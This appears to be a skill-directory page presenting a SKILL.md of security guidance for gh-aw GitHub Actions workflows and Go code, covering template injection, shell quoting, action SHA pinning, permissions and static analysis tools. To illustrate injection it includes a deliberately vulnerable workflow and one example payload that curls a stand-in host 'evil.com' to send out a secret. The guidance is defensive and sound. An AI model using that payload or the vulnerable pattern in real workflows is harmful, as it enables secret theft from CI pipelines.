跳到正文
cccskills
免费在 GitHub 公开

developer-security

Review and implement gh-aw workflows and Go code with security checks for untrusted input, shell commands, dependency versions, and permissions. The skill also covers event-specific conditions and tools that inspect workflows for errors and security risks without running them.

中文简介正在准备中。当前显示英语简介。

原文查看原文说明

Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.

集成工具GitHub
查看安装方法

适用场景

  • Reviewing issue and PR input handling for injection risks
  • Checking conditions in workflows with multiple event triggers
  • Reviewing action version pins and job permissions
  • Adding workflow checks with actionlint, zizmor, and poutine

包含的文件(1)

  • SKILL.md11.7 KB

SKILL.md(原文)

安装前可以查看交给 AI 代理的指令内容。

Security Best Practices

Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.

Table of Contents

Template Injection Prevention

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

Understanding the Risk

GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.

Insecure Pattern

# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"

Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "

Secure Pattern: Environment Variables

# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"

Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.

Data Flow Comparison

graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end

Recent Fixes (November 2025)

Template injection vulnerabilities were identified and fixed in:

  • copilot-session-insights.md - Step output passed through environment variable
  • Pattern: Move template expressions from bash scripts to environment variable assignments

See scratchpad/template-injection-prevention.md for detailed analysis and fix documentation.

Secure Pattern: Sanitized Context (gh-aw specific)

# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"

The steps.sanitized.outputs.text output is automatically sanitized:

  • @mentions neutralized
  • Bot triggers protected
  • XML tags converted to safe format
  • Only HTTPS URIs from trusted domains
  • Content limits enforced (0.5MB, 65k lines)
  • Control characters removed

Safe Context Variables

Always safe to use in expressions:

  • github.actor
  • github.repository
  • github.run_id
  • github.run_number
  • github.sha

Never safe in expressions without environment variable indirection:

  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.head_ref (can be controlled by PR authors)

Cross-Trigger Nullability in Generated Conditional Expressions

When Go code generates GitHub Actions if: expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.

GitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example github.event.pull_request.* on push, workflow_dispatch, or schedule).

Insecure Pattern (missing trigger guard)

// VULNERABLE: pull_request-only fields referenced unconditionally
condition := fmt.Sprintf(
    "github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)

Why vulnerable: On non-PR triggers, github.event.pull_request is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (startup_failure) before workflow error handling can run.

Secure Pattern (event_name + nullability guard)

// SECURE: gate nested pull_request fields behind explicit trigger and null checks
condition := fmt.Sprintf(
    "github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)

Required Guidance for Condition Generation

  • Guard every trigger-specific object chain (github.event.pull_request.*, github.event.issue.*, etc.) with github.event_name checks.
  • Add nullability guards for each parent object in the chain before accessing deeper properties.
  • For workflows with multiple triggers, ensure every trigger path either short-circuits safely or avoids unsupported fields entirely.
  • Prefer conservative composition (A && B && C) where early terms validate event type/object existence before nested access.

Verification Checklist

  • Enumerate all declared triggers in the generated workflow.
  • For each generated condition, confirm nested event-field access is valid for every trigger.
  • Validate that unsupported triggers short-circuit before nested field access.
  • Add/update tests in pkg/workflow/*filter*.go (or equivalent) that assert safe conditions for mixed-trigger workflows.

Shell Script Best Practices

SC2086: Double Quote to Prevent Globbing and Word Splitting

Insecure:

steps:
  - name: Process files
    run: |
      FILES=$(ls *.txt)
      for file in $FILES; do
        echo $file
      done

Why vulnerable: Variables can be split on whitespace, glob patterns are expanded, potential command injection.

Secure:

steps:
  - name: Process files
    run: |
      while IFS= read -r file; do
        echo "$file"
      done < <(find . -name "*.txt")

Shell Script Security Checklist

  • Always quote variable expansions: "$VAR"
  • Use [[ ]] instead of [ ] for conditionals
  • Use $() instead of backticks for command substitution
  • Enable strict mode: set -euo pipefail
  • Validate and sanitize all inputs
  • Use shellcheck to catch common issues

Example secure script:

steps:
  - name: Secure script
    env:
      INPUT_VALUE: ${{ github.event.inputs.value }}
    run: |
      set -euo pipefail

      if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
        echo "Invalid input format"
        exit 1
      fi

      echo "Processing: $INPUT_VALUE"

      result=$(grep -r "$INPUT_VALUE" . || true)
      echo "$result"

Supply Chain Security

Supply chain attacks target dependencies in CI/CD pipelines.

Pin Action Versions with SHA

Insecure:

steps:
  - uses: actions/checkout@v5           # Tag can be moved
  - uses: actions/setup-node@main       # Branch can be updated

Why vulnerable: Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.

Secure:

steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

Why secure: SHA commits are immutable. Comments indicate human-readable version for updates.

Finding SHA for Actions

# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1

# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1

Workflow Structure and Permissions

Minimal Permissions Principle

Insecure:

name: CI
on: [push]

permissions: write-all

Secure:

name: CI
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

Job-Level Permissions

name: CI/CD
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

  deploy:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: read
      deployments: write
    steps:
      - uses: actions/checkout@sha
      - run: npm run deploy

Available Permissions

PermissionReadWriteUse Case
contentsRead codePush codeRepository access
issuesRead issuesCreate/edit issuesIssue management
pull-requestsRead PRsCreate/edit PRsPR management
actionsRead runsCancel runsWorkflow management
checksRead checksCreate checksStatus checks
deploymentsRead deploymentsCreate deploymentsDeployment management

Static Analysis Integration

Integrate static analysis tools into development and CI/CD workflows:

Available Tools

  • actionlint - Lints GitHub Actions workflows, validates shell scripts
  • zizmor - Security vulnerability scanner for GitHub Actions
  • poutine - Supply chain security analyzer

Running Locally

# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/

# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine

# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine

Review Reporting

Show a findings table only when confirmed findings exist. Otherwise, state "No confirmed vulnerabilities found" without an empty table or placeholder row. This applies to final replies and task-completion summaries: omit the entire findings table when empty, including its header; never put the no-findings sentence in a table row. Report validation blockers and incomplete coverage separately. Follow the debug security-review gate for workflow execution reviews.

Security Checklist

Template Injection

  • No untrusted input in ${{ }} expressions
  • Untrusted data passed via environment variables
  • Safe context variables used where possible
  • Sanitized context used (gh-aw: steps.sanitized.outputs.text)

Shell Scripts

  • All variables quoted: "$VAR"
  • No SC2086 warnings (unquoted expansion)
  • Strict mode enabled: set -euo pipefail
  • Input validation implemented
  • shellcheck passes with no warnings

Supply Chain

  • All actions pinned to SHA (not tags/branches)
  • Version comments added to pinned actions
  • Actions from verified creators or reviewed
  • Dependencies scanned for vulnerabilities

Permissions

  • Minimal permissions specified
  • No write-all permissions
  • Job-level permissions used when needed
  • Fork PR handling secure

Static Analysis

  • actionlint passes (no errors)
  • zizmor passes (High/Critical addressed)
  • poutine passes (supply chain secure)

评价

还没有评价。欢迎分享你的使用感受。

评论

无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。

还没有评论。来写第一条吧。

提交后会立即公开。请勿填写邮箱、电话等个人信息。URL 最多 2 个。

0 / 1000 字

此表单受 reCAPTCHA 保护,适用 Google 的隐私权政策和服务条款。

同一仓库的技能

Coordinate work across AI agents with shared rules for locating team files, recording decisions and their reasons, and requesting help. It also defines who owns revisions after a reviewer rejects an artifact.

中文简介正在准备中。当前显示英语简介。

  • Locate team files across separate working directories
  • Record decisions that affect other agents
  • Request input from another specialist
github/gh-aw54212026年10月19日 更新

Set shared development rules for an agent team: keep specific agent names out of product code, tests, and CI configuration, verify affected tests before finishing, and record lessons learned from mistakes.

中文简介正在准备中。当前显示英语简介。

  • Share development rules across multiple agents
  • Keep team-specific agent names out of code and tests
  • Check affected tests before declaring work complete
github/gh-aw54212026年10月19日 更新

Routes requests to design, create, update, debug, or upgrade GitHub Agentic Workflows to the appropriate instructions. It helps the agent select a workflow-specific procedure and apply any additional rules defined for the repository.

中文简介正在准备中。当前显示英语简介。

  • Designing a new workflow through questions
  • Investigating failed runs and recurring errors
  • Upgrading workflows and addressing deprecations
github/gh-aw54212026年10月19日 更新

Prepare architecture proposals before implementation so the team can agree on a direction. Organize evidence, technical choices, effects on existing work, risks, and the first release’s scope into a document with clear recommendations and decision owners.

中文简介正在准备中。当前显示英语简介。

  • Proposing a major architecture change
  • Replanning milestones after a foundation change
  • Comparing technical options before seeking approval
github/gh-aw54212026年10月19日 更新

Update the gh-aw-firewall version used by gh-aw, rebuild generated files, and review release notes and configuration schemas, which define valid settings. It guides related code and test updates while identifying follow-up work that remains.

中文简介正在准备中。当前显示英语简介。

  • Updating the firewall version used by gh-aw
  • Reviewing release notes for integration changes
  • Checking configuration schema differences
github/gh-aw54212026年10月19日 更新

Review git and gh operations in gh-aw workflows to check credential availability for each repository. Identify missing token handoffs, risky expansions of limited checkouts, and error handling needed where credentials are intentionally unavailable.

中文简介正在准备中。当前显示英语简介。

  • Reviewing git operations after repository checkout
  • Checking tokens for private cross-repository access
  • Reviewing sparse and shallow checkout changes
github/gh-aw54212026年10月19日 更新

查看 github 的全部技能

报告此技能的问题